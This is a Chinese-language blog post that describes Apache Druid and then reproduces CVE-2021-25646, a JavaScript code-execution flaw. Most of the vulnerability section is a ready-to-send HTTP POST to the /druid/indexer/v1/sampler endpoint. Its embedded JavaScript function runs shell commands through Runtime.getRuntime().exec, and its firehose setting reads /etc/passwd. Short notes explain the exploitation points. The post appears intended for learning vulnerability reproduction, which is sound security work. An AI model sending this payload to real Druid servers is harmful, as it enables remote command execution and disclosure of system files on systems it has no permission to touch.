Apache Druid

目录

[Apache Druid是什么?](#Apache Druid是什么?)

[CVE-2021-25646(Apache Druid代码执行漏洞)](#CVE-2021-25646(Apache Druid代码执行漏洞))


Apache Druid是什么?

Apache Druid是一个高性能、分布式的数据存储和分析系统。设计用于处理大量实时数据,并进行低延迟的查询。它特别适合用于分析大规模日志、事件数据和时间序列函数数据。Druid支持快速聚合查询,并能够在数秒钟内处理百万条数据。通常用于构建实时数据分析平台,广泛应用于金融,广告、loT等领域。

Druid的特点包括;

  • 高吞吐量和低延迟:支持快速数据插入和查询,适合实时数据分析。
  • 可扩展性:可以在分布式环境中水平扩展,处理大量数据。
  • 灵活的查询能力:支持复杂的聚合、过滤和分组操作,能够应对大数据查询需求。
  • 容错性:通过数据复制和分布式架构,确保高可用性和数据的持久性。

Druid核心应用场景包括实时数据分析、BI、仪表盘以及事件流分析。

CVE-2021-25646(Apache Druid代码执行漏洞)

漏洞成因:Apache Druid包括执行嵌入在各种请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下,并且默认是禁用得。但是在Druid 0.20.0及以前版本,攻击者通过发送一个恶意请求是Druid用内置引擎执行任意的JavaScript代码,且服务器配置无效。

具体原理:https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw

步骤1:构造恶意数据包发送

复制代码
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{

                },
                "dimensionsSpec":{

                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}
  1. 漏洞利用点
  • 通过/druid/indexer/v1/sampler接口发送恶意JSON数据
  • firehose配置尝试读取系统敏感文件/etc/passwd
  • JavaScript解析器中的function字段包含恶意代码,通过Runtime.getRuntime().exec()执行系统命令"id"
  1. 攻击特征
  • 使用java.util.ScannerRuntime.getRuntime()实现命令注入
  • 通过useDelimiter("\\A").next()获取命令执行结果
  • 伪造正常数据结构包含timestampSpec等字段进行伪装

步骤2:查看结果

相关推荐
网络豆8 天前
Apache Maven 鸿蒙 PC 适配全记录:把 JVM 构建工具交付到 HiShell
maven·apache·harmonyos
网络豆8 天前
Apache Hive 鸿蒙 PC 适配全记录:以 Qt 客户端打通 HiveQL、监控与元数据访问
hive·apache·harmonyos
网络豆8 天前
Apache HBase 鸿蒙 PC 适配全记录:用 Qt 原生客户端打通 REST 管理与数据读写
apache·hbase·harmonyos
无巧不成书02189 天前
Apache Tomcat 9 下载全指南(Windows,Linux,macOS):版本选型、国内镜像、SHA-512 与 PGP 完整性校验
windows·tomcat·apache
Dream-Y.ocean9 天前
鸿蒙平台 Apache Tomcat 管理控制台适配实战:基于 Electron 壳方案的真实 HTTP 服务器实现
tomcat·apache·harmonyos
betazhou9 天前
Apache seatunel常用配置参数解析说明
apache·seatunnel
凤山老林10 天前
Spring Boot 集成 Apache Kafka Streams 构建流处理应用:状态存储、窗口聚合与
spring boot·kafka·apache
DolphinScheduler社区11 天前
Apache DolphinScheduler 8 月报:权限安全加固,调度补火上线,性能与稳定性持续提升
大数据·安全·开源·apache·任务调度·海豚调度
sbjdhjd11 天前
从 7 字符文件名拼接到二维数组取值:PHP 无参函数限制下的受控靶场复盘 | (7字符绕过)
网络·nginx·安全·网络安全·云计算·php·apache
Jackyzhe12 天前
Apache Iceberg Variant 类型:v3 半结构化数据不再「二选一」
apache